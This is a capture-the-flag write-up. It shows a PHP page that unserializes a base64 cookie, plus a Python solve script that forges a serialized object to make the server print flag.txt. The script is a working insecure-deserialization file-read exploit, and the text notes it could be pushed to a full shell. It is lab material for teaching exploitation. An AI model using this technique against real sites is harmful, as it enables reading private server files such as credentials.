Flash CTF – Santa’s Digital Photo Library

Challenge Description

This website allows users to upload and view files on the webserver, and uses a serialized cookies to store the user’s chosen image path.

View this PHP snippet in view.php:

if (isset($_COOKIE['image_data'])) {
    $imageData = base64_decode($_COOKIE['image_data']);
    $imageObj = unserialize($imageData);

    if ($imageObj instanceof Image && file_exists($imageObj->path)) {
        $mimeType = mime_content_type($imageObj->path);
        if (strpos($mimeType, 'image/') === 0) {
            // Display as an image if it's a valid image type
            echo "<img src='" . htmlspecialchars($imageObj->path) . "' alt='Uploaded Image' style='width:100%; height:auto; border-radius:8px;'>";
        } else {
            // Display an error message but include file content
            echo "<div class='alert alert-warning'>The image cannot be displayed or contains errors.</div>";
            echo "<pre class='hidden-content'>" . htmlspecialchars(file_get_contents($imageObj->path)) . "</pre>";
        }
    } else {
        echo "<div class='alert alert-danger'>The file could not be displayed.</div>";
    }
} else {
    echo "<div class='alert alert-danger'>No file specified.</div>";
}

This is very weird behavior, and also very insecure. It allows us to call deserialize on any arbitrary data!

We can likely leverage this to a full shell, but in our case we just care about getting the flag.txt file, so let’s serialize data pointing the webserver to grab our “image” from flag.txt instead.

Solve script


import base64
import requests
import re
from rich.console import Console
from rich.text import Text

# Set up the console for colored output
console = Console()

# Original serialized object
serialized_object = 'O:5:"Image":1:{s:4:"path";s:8:"flag.txt";}'

# Encode the serialized object in Base64
cookie_value = base64.b64encode(serialized_object.encode()).decode()

# Define the target URL, replace with your instance domain
url = "http://localhost:80/view.php"

# Set the cookies with the modified serialized object
cookies = {
    "image_data": cookie_value
}

# Send the request to view.php
response = requests.get(url, cookies=cookies)

# Check the response and search for the flag
if response.status_code == 200:
    content = response.text

    # Use regex to find the flag in the response
    flag_match = re.search(r"(MetaCTF\{.*?\})", content)

    # Print the flag if found
    if flag_match:
        flag = flag_match.group(1)
        console.print(f"[bold yellow]---> Flag found!: {flag}[/bold yellow]")
    else:
        console.print("[red]Flag not found in the response.[/red]")
else:
    console.print(f"[bold red]Failed to retrieve the page. Status code: {response.status_code}[/bold red]")